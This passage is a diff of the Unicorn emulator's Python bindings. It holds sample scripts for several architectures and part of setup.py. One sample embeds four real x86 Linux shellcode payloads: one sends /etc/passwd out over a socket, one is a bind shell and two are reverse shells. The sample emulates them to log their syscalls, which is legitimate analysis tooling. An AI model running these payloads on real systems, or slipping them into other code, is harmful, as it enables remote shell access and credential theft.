print(">>> D3 = 0x%x" %d3)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_m68k()

101
bindings/python/sample_mips.py Executable file
View file

@ -0,0 +1,101 @@
#!/usr/bin/env python
# Sample code for MIPS of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.mips_const import *
# code to be emulated
MIPS_CODE_EB = "\x34\x21\x34\x56" # ori $at, $at, 0x3456;
MIPS_CODE_EL = "\x56\x34\x21\x34" # ori $at, $at, 0x3456;
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
# Test MIPS EB
def test_mips_eb():
print("Emulate MIPS code (big-endian)")
try:
# Initialize emulator in MIPS32 + EB mode
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, MIPS_CODE_EB)
# initialize machine registers
mu.reg_write(MIPS_REG_1, 0x6789)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EB))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r1 = mu.reg_read(MIPS_REG_1)
print(">>> r1 = 0x%x" %r1)
except UcError as e:
print("ERROR: %s" % e)
# Test MIPS EL
def test_mips_el():
print("Emulate MIPS code (little-endian)")
try:
# Initialize emulator in MIPS32 + EL mode
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, MIPS_CODE_EL)
# initialize machine registers
mu.reg_write(MIPS_REG_1, 0x6789)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EL))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r1 = mu.reg_read(MIPS_REG_1)
print(">>> r1 = 0x%x" %r1)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_mips_eb()
print("=" * 20)
test_mips_el()

View file

@ -0,0 +1,380 @@
#!/usr/bin/env python
# Unicorn sample for auditing network connection and file handling in shellcode.
# Nguyen Tan Cong <shenlongbk@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
import struct
import uuid
import random
SIZE_REG = 4
SOCKETCALL_MAX_ARGS = 6
FILENAME_MAX_LEN = 128
SOCKET_TYPES = {
1: "SOCK_STREAM",
2: "SOCK_DGRAM",
3: "SOCK_RAW",
4: "SOCK_RDM",
5: "SOCK_SEQPACKET",
10: "SOCK_PACKET"
}
ADDR_FAMILY = {
0: "AF_UNSPEC",
1: "AF_UNIX",
2: "AF_INET",
3: "AF_AX25",
4: "AF_IPX",
5: "AF_APPLETALK",
6: "AF_NETROM",
7: "AF_BRIDGE",
8: "AF_AAL5",
9: "AF_X25",
10: "AF_INET6",
12: "AF_MAX"
}
# http://shell-storm.org/shellcode/files/shellcode-861.php
X86_SEND_ETCPASSWD = b"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f\xcd\x80\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
# http://shell-storm.org/shellcode/files/shellcode-882.php
X86_BIND_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
# http://shell-storm.org/shellcode/files/shellcode-883.php
X86_REVERSE_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
# http://shell-storm.org/shellcode/files/shellcode-849.php
X86_REVERSE_TCP_2 = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x01\x0a\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
# memory address where emulation starts
ADDRESS = 0x1000000
# supported classes
class IdGenerator:
def __init__(self):
self.__next_id = 3 # exclude sdtin, stdout, stderr
def next(self):
next_id = self.__next_id
self.__next_id += 1
return next_id
class LogChain:
def __init__(self):
self.__chains = {}
self.__linking_fds = {}
def clean(self):
self.__chains = {}
self.__linking_fds = {}
def create_chain(self, id):
if not self.__chains.has_key(id):
self.__chains[id] = []
else:
print("LogChain: id %d existed" % id)
def add_log(self, id, msg):
fd = self.get_original_fd(id)
if fd is not None:
self.__chains[fd].append(msg)
else:
print("LogChain: id %d doesn't exist" % id)
def link_fd(self, from_fd, to_fd):
if not self.__linking_fds.has_key(to_fd):
self.__linking_fds[to_fd] = []
self.__linking_fds[to_fd].append(from_fd)
def get_original_fd(self, fd):
if self.__chains.has_key(fd):
return fd
for orig_fd, links in self.__linking_fds.iteritems():
if fd in links:
return orig_fd
return None
def print_report(self):
print("""
----------------
| START REPORT |
----------------
""")
for id, logs in self.__chains.iteritems():
print("---- START FD(%d) ----" % id)
print("\n".join(logs))
print("---- END FD(%d) ----" % id)
print("""
--------------
| END REPORT |
--------------
""")
# end supported classes
id_gen = IdGenerator()
fd_chains = LogChain()
# utilities
def bin_to_ipv4(ip):
return "%d.%d.%d.%d" % (
(ip & 0xff000000) >> 24,
(ip & 0xff0000) >> 16,
(ip & 0xff00) >> 8,
(ip & 0xff))
def bytearray_to_string(ba):
ret = ""
i = 0
while i < len(ba) and ba[i] != 0x0:
ret += chr(ba[i])
i += 1
return ret
def parse_sock_address(sock_addr):
sin_family, = struct.unpack("<h", sock_addr[:2])
if sin_family == 2: # AF_INET
port, host = struct.unpack(">HI", sock_addr[2:8])
return "%s:%d" % (bin_to_ipv4(host), port)
elif sin_family == 6: # AF_INET6
return ""
def print_sockcall(msg):
print(">>> SOCKCALL %s" % msg)
# end utilities
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))
# read this instruction code from memory
tmp = uc.mem_read(address, size)
print(">>> Instruction code at [0x%x] =" %(address), end="")
for i in tmp:
print(" %x" %i, end="")
print("")
# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
# only handle Linux syscall
if intno != 0x80:
return
eax = uc.reg_read(X86_REG_EAX)
ebx = uc.reg_read(X86_REG_EBX)
ecx = uc.reg_read(X86_REG_ECX)
edx = uc.reg_read(X86_REG_EDX)
eip = uc.reg_read(X86_REG_EIP)
# print(">>> INTERRUPT %d" % eax)
if eax == 1: # sys_exit
print(">>> SYS_EXIT")
uc.emu_stop()
elif eax == 3: # sys_read
fd = ebx
buf = ecx
count = edx
dummy_content = str(uuid.uuid1())
if len(dummy_content) > count:
dummy_content = dummy_content[:count]
uc.mem_write(buf, dummy_content)
msg = "read %d bytes from fd(%d) with dummy_content(%s)" % (count, fd, dummy_content)
fd_chains.add_log(fd, msg)
print(">>> %s" % msg)
elif eax == 4: # sys_write
fd = ebx
buf = ecx
count = edx
content = uc.mem_read(buf, count)
msg = "write data=%s count=%d to fd(%d)" % (bytearray_to_string(content), count, fd)
print(">>> %s" % msg)
fd_chains.add_log(fd, msg)
elif eax == 5: # sys_open
filename_addr = ebx
flags = ecx
mode = edx
filename = uc.mem_read(filename_addr, FILENAME_MAX_LEN)
dummy_fd = id_gen.next()
uc.reg_write(X86_REG_EAX, dummy_fd)
msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (bytearray_to_string(filename), flags, mode, dummy_fd)
fd_chains.create_chain(dummy_fd)
fd_chains.add_log(dummy_fd, msg)
print(">>> %s" % msg)
elif eax == 11: # sys_execv
# print(">>> ebx=0x%x, ecx=0x%x, edx=0x%x" % (ebx, ecx, edx))
filename = uc.mem_read(ebx, FILENAME_MAX_LEN)
print(">>> SYS_EXECV filename=%s" % bytearray_to_string(filename))
elif eax == 63: # sys_dup2
fd_chains.link_fd(ecx, ebx)
print(">>> SYS_DUP2 oldfd=%d newfd=%d" % (ebx, ecx))
elif eax == 102: # sys_socketcall
# ref: http://www.skyfree.org/linux/kernel_network/socket.html
call = uc.reg_read(X86_REG_EBX)
args = uc.reg_read(X86_REG_ECX)
buf = uc.mem_read(args, SOCKETCALL_MAX_ARGS*SIZE_REG)
args = struct.unpack("<" + "I"*SOCKETCALL_MAX_ARGS, buf)
# int sys_socketcall(int call, unsigned long *args)
if call == 1: # sys_socket
# err = sys_socket(a0,a1,a[2])
# int sys_socket(int family, int type, int protocol)
family = args[0]
sock_type = args[1]
protocol = args[2]
dummy_fd = id_gen.next()
uc.reg_write(X86_REG_EAX, dummy_fd)
if family == 2: # AF_INET
msg = "create socket (%s, %s) with fd(%d)" % (ADDR_FAMILY[family], SOCKET_TYPES[sock_type], dummy_fd)
fd_chains.create_chain(dummy_fd)
fd_chains.add_log(dummy_fd, msg)
print_sockcall(msg)
elif family == 3: # AF_INET6
pass
elif call == 2: # sys_bind
fd = args[0]
umyaddr = args[1]
addrlen = args[2]
sock_addr = uc.mem_read(umyaddr, addrlen)
msg = "fd(%d) bind to %s" % (fd, parse_sock_address(sock_addr))
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 3: # sys_connect
# err = sys_connect(a0, (struct sockaddr *)a1, a[2])
# int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
fd = args[0]
uservaddr = args[1]
addrlen = args[2]
sock_addr = uc.mem_read(uservaddr, addrlen)
msg = "fd(%d) connect to %s" % (fd, parse_sock_address(sock_addr))
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 4: # sys_listen
fd = args[0]
backlog = args[1]
msg = "fd(%d) listened with backlog=%d" % (fd, backlog)
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 5: # sys_accept
fd = args[0]
upeer_sockaddr = args[1]
upeer_addrlen = args[2]
# print(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d" % (upeer_sockaddr, upeer_addrlen))
if upeer_sockaddr == 0x0:
print_sockcall("fd(%d) accept client" % fd)
else:
upeer_len, = struct.unpack("<I", uc.mem_read(upeer_addrlen, 4))
sock_addr = uc.mem_read(upeer_sockaddr, upeer_len)
msg = "fd(%d) accept client with upeer=%s" % (fd, parse_sock_address(sock_addr))
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 9: # sys_send
fd = args[0]
buff = args[1]
length = args[2]
flags = args[3]
buf = uc.mem_read(buff, length)
msg = "fd(%d) send data=%s" % (fd, buf)
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 11: # sys_receive
fd = args[0]
ubuf = args[1]
size = args[2]
flags = args[3]
msg = "fd(%d) is gonna receive data with size=%d flags=%d" % (fd, size, flags)
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 13: # sys_shutdown
fd = args[0]
how = args[1]
msg = "fd(%d) is shutted down because of %d" % (fd, how)
fd_chains.add_log(fd, msg)
print_sockcall(msg)
# Test X86 32 bit
def test_i386(code):
fd_chains.clean()
print("Emulate i386 code")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, code)
# initialize stack
mu.reg_write(X86_REG_ESP, ADDRESS + 0x200000)
# tracing all instructions with customized callback
# mu.hook_add(UC_HOOK_CODE, hook_code)
# handle interrupt ourself
mu.hook_add(UC_HOOK_INTR, hook_intr)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(code))
# now print out some registers
print(">>> Emulation done")
except UcError as e:
print("ERROR: %s" % e)
fd_chains.print_report()
if __name__ == '__main__':
test_i386(X86_SEND_ETCPASSWD)
test_i386(X86_BIND_TCP)
test_i386(X86_REVERSE_TCP)
test_i386(X86_REVERSE_TCP_2)

64
bindings/python/sample_sparc.py Executable file
View file

@ -0,0 +1,64 @@
#!/usr/bin/env python
# Sample code for SPARC of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.sparc_const import *
# code to be emulated
SPARC_CODE = "\x86\x00\x40\x02" # add %g1, %g2, %g3;
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
# Test SPARC
def test_sparc():
print("Emulate SPARC code")
try:
# Initialize emulator in SPARC EB mode
mu = Uc(UC_ARCH_SPARC, UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, SPARC_CODE)
# initialize machine registers
mu.reg_write(SPARC_REG_G1, 0x1230)
mu.reg_write(SPARC_REG_G2, 0x6789)
mu.reg_write(SPARC_REG_G3, 0x5555)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(SPARC_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
g3 = mu.reg_read(SPARC_REG_G3)
print(">>> G3 = 0x%x" %g3)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_sparc()

409
bindings/python/sample_x86.py Executable file
View file

@ -0,0 +1,409 @@
#!/usr/bin/env python
# Sample code for X86 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
X86_CODE32 = b"\x41\x4a" # INC ecx; DEC dex
X86_CODE32_LOOP = b"\x41\x4a\xeb\xfe" # INC ecx; DEC dex; JMP self-loop
X86_CODE32_MEM_READ = b"\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov ecx,[0xaaaaaaaa]; INC ecx; DEC dex
X86_CODE32_MEM_WRITE = b"\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov [0xaaaaaaaa], ecx; INC ecx; dec edx
X86_CODE64 = b"\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59"
X86_CODE32_INOUT = b"\x41\xE4\x3F\x4a\xE6\x46\x43" # INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx
# memory address where emulation starts
ADDRESS = 0x1000000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
#eip = uc.reg_read(X86_REG_EIP)
#print(">>> EIP = 0x%x" %(eip))
# callback for tracing invalid memory access (READ or WRITE)
def hook_mem_invalid(uc, access, address, size, value, user_data):
if access == UC_MEM_WRITE:
print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
%(address, size, value))
# map this memory in with 2MB in size
uc.mem_map(0xaaaa0000, 2 * 1024*1024)
# return True to indicate we want to continue emulation
return True
else:
# return False to indicate we want to stop emulation
return False
# callback for tracing memory access (READ or WRITE)
def hook_mem_access(uc, access, address, size, value, user_data):
if access == UC_MEM_WRITE:
print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
%(address, size, value))
else: # READ
print(">>> Memory is being READ at 0x%x, data size = %u" \
%(address, size))
# callback for IN instruction
def hook_in(uc, port, size, user_data):
eip = uc.reg_read(X86_REG_EIP)
print("--- reading from port 0x%x, size: %u, address: 0x%x" %(port, size, eip))
if size == 1:
# read 1 byte to AL
return 0xf1
if size == 2:
# read 2 byte to AX
return 0xf2
if size == 4:
# read 4 byte to EAX
return 0xf4
# we should never reach here
return 0
# callback for OUT instruction
def hook_out(uc, port, size, value, user_data):
eip = uc.reg_read(X86_REG_EIP)
print("--- writing to port 0x%x, size: %u, value: 0x%x, address: 0x%x" %(port, size, value, eip))
# confirm that value is indeed the value of AL/AX/EAX
v = 0
if size == 1:
# read 1 byte in AL
v = uc.reg_read(X86_REG_AL)
if size == 2:
# read 2 bytes in AX
v = uc.reg_read(X86_REG_AX)
if size == 4:
# read 4 bytes in EAX
v = uc.reg_read(X86_REG_EAX)
print("--- register value = 0x%x" %v)
# Test X86 32 bit
def test_i386():
print("Emulate i386 code")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32)
# initialize machine registers
mu.reg_write(X86_REG_ECX, 0x1234)
mu.reg_write(X86_REG_EDX, 0x7890)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(X86_REG_ECX)
r_edx = mu.reg_read(X86_REG_EDX)
print(">>> ECX = 0x%x" %r_ecx)
print(">>> EDX = 0x%x" %r_edx)
# read from memory
tmp = mu.mem_read(ADDRESS, 2)
print(">>> Read 2 bytes from [0x%x] =" %(ADDRESS), end="")
for i in tmp:
print(" 0x%x" %i, end="")
print("")
except UcError as e:
print("ERROR: %s" % e)
def test_i386_loop():
print("Emulate i386 code with infinite loop - wait for 2 seconds then stop emulation")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_LOOP)
# initialize machine registers
mu.reg_write(X86_REG_ECX, 0x1234)
mu.reg_write(X86_REG_EDX, 0x7890)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_LOOP), 2 * UC_SECOND_SCALE)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(X86_REG_ECX)
r_edx = mu.reg_read(X86_REG_EDX)
print(">>> ECX = 0x%x" %r_ecx)
print(">>> EDX = 0x%x" %r_edx)
except UcError as e:
print("ERROR: %s" % e)
def test_i386_invalid_mem_read():
print("Emulate i386 code that read from invalid memory")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_MEM_READ)
# initialize machine registers
mu.reg_write(X86_REG_ECX, 0x1234)
mu.reg_write(X86_REG_EDX, 0x7890)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_READ))
except UcError as e:
print("ERROR: %s" % e)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(X86_REG_ECX)
r_edx = mu.reg_read(X86_REG_EDX)
print(">>> ECX = 0x%x" %r_ecx)
print(">>> EDX = 0x%x" %r_edx)
except UcError as e:
print("ERROR: %s" % e)
def test_i386_invalid_mem_write():
print("Emulate i386 code that write to invalid memory")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_MEM_WRITE)
# initialize machine registers
mu.reg_write(X86_REG_ECX, 0x1234)
mu.reg_write(X86_REG_EDX, 0x7890)
# tracing all basic blocks with customized callback
#mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
#mu.hook_add(UC_HOOK_CODE, hook_code)
# intercept invalid memory events
mu.hook_add(UC_HOOK_MEM_INVALID, hook_mem_invalid)
try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_WRITE))
except UcError as e:
print("ERROR: %s" % e)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(X86_REG_ECX)
r_edx = mu.reg_read(X86_REG_EDX)
print(">>> ECX = 0x%x" %r_ecx)
print(">>> EDX = 0x%x" %r_edx)
try:
# read from memory
print(">>> Read 4 bytes from [0x%x] = " %(0xaaaaaaaa), end="")
tmp = mu.mem_read(0xaaaaaaaa, 4)
for i in tmp:
print(" 0x%x" %i, end="")
print("")
print(">>> Read 4 bytes from [0x%x] = " %(0xffffffaa), end="")
tmp = mu.mem_read(0xffffffaa, 4)
for i in tmp:
print(" 0x%x" %i, end="")
print("")
except UcError as e:
print("ERROR: %s" % e)
except UcError as e:
print("ERROR: %s" % e)
# Test X86 32 bit with IN/OUT instruction
def test_i386_inout():
print("Emulate i386 code with IN/OUT instructions")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_INOUT)
# initialize machine registers
mu.reg_write(X86_REG_EAX, 0x1234)
mu.reg_write(X86_REG_ECX, 0x6789)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# handle IN & OUT instruction
mu.hook_add(UC_HOOK_INSN, hook_in, None, X86_INS_IN)
mu.hook_add(UC_HOOK_INSN, hook_out, None, X86_INS_OUT)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_INOUT))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(X86_REG_ECX)
r_eax = mu.reg_read(X86_REG_EAX)
print(">>> EAX = 0x%x" %r_eax)
print(">>> ECX = 0x%x" %r_ecx)
except UcError as e:
print("ERROR: %s" % e)
def test_x86_64():
print("Emulate x86_64 code")
try:
# Initialize emulator in X86-64bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_64)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE64)
# initialize machine registers
mu.reg_write(X86_REG_RAX, 0x71f3029efd49d41d)
mu.reg_write(X86_REG_RBX, 0xd87b45277f133ddb)
mu.reg_write(X86_REG_RCX, 0xab40d1ffd8afc461)
mu.reg_write(X86_REG_RDX, 0x919317b4a733f01)
mu.reg_write(X86_REG_RSI, 0x4c24e753a17ea358)
mu.reg_write(X86_REG_RDI, 0xe509a57d2571ce96)
mu.reg_write(X86_REG_R8, 0xea5b108cc2b9ab1f)
mu.reg_write(X86_REG_R9, 0x19ec097c8eb618c1)
mu.reg_write(X86_REG_R10, 0xec45774f00c5f682)
mu.reg_write(X86_REG_R11, 0xe17e9dbec8c074aa)
mu.reg_write(X86_REG_R12, 0x80f86a8dc0f6d457)
mu.reg_write(X86_REG_R13, 0x48288ca5671c5492)
mu.reg_write(X86_REG_R14, 0x595f72f6e4017f6e)
mu.reg_write(X86_REG_R15, 0x1efd97aea331cccc)
# setup stack
mu.reg_write(X86_REG_RSP, ADDRESS + 0x200000)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions in range [ADDRESS, ADDRESS+20]
mu.hook_add(UC_HOOK_CODE, hook_code, None, ADDRESS, ADDRESS+20)
# tracing all memory READ & WRITE access
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)
mu.hook_add(UC_HOOK_MEM_READ, hook_mem_access)
# actually you can also use READ_WRITE to trace all memory access
#mu.hook_add(UC_HOOK_MEM_READ_WRITE, hook_mem_access)
try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64))
except UcError as e:
print("ERROR: %s" % e)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
rax = mu.reg_read(X86_REG_RAX)
rbx = mu.reg_read(X86_REG_RBX)
rcx = mu.reg_read(X86_REG_RCX)
rdx = mu.reg_read(X86_REG_RDX)
rsi = mu.reg_read(X86_REG_RSI)
rdi = mu.reg_read(X86_REG_RDI)
r8 = mu.reg_read(X86_REG_R8)
r9 = mu.reg_read(X86_REG_R9)
r10 = mu.reg_read(X86_REG_R10)
r11 = mu.reg_read(X86_REG_R11)
r12 = mu.reg_read(X86_REG_R12)
r13 = mu.reg_read(X86_REG_R13)
r14 = mu.reg_read(X86_REG_R14)
r15 = mu.reg_read(X86_REG_R15)
print(">>> RAX = %x" %rax)
print(">>> RBX = %x" %rbx)
print(">>> RCX = %x" %rcx)
print(">>> RDX = %x" %rdx)
print(">>> RSI = %x" %rsi)
print(">>> RDI = %x" %rdi)
print(">>> R8 = %x" %r8)
print(">>> R9 = %x" %r9)
print(">>> R10 = %x" %r10)
print(">>> R11 = %x" %r11)
print(">>> R12 = %x" %r12)
print(">>> R13 = %x" %r13)
print(">>> R14 = %x" %r14)
print(">>> R15 = %x" %r15)
#BUG
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64))
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_i386()
print("=" * 20)
test_i386_loop()
print("=" * 20)
test_i386_invalid_mem_read()
print("=" * 20)
test_i386_invalid_mem_write()
print("=" * 20)
test_i386_inout()
print("=" * 20)
test_x86_64()

182
bindings/python/setup.py Executable file
View file

@ -0,0 +1,182 @@
#!/usr/bin/env python
# Python binding for Unicorn engine. Nguyen Anh Quynh <aquynh@gmail.com>
import glob
import os
import platform
import shutil
import stat
import sys
from distutils import log
from distutils import dir_util
from distutils.command.build_clib import build_clib
from distutils.command.sdist import sdist
from distutils.core import setup
from distutils.sysconfig import get_python_lib
# prebuilt libraries for Windows - for sdist
PATH_LIB64 = "prebuilt/win64/unicorn.dll"
PATH_LIB32 = "prebuilt/win32/unicorn.dll"
# package name can be 'unicorn' or 'unicorn-windows'
PKG_NAME = 'unicorn'
if os.path.exists(PATH_LIB64) and os.path.exists(PATH_LIB32):
PKG_NAME = 'unicorn-windows'
VERSION = '0.9'
SYSTEM = sys.platform
# virtualenv breaks import, but get_python_lib() will work.
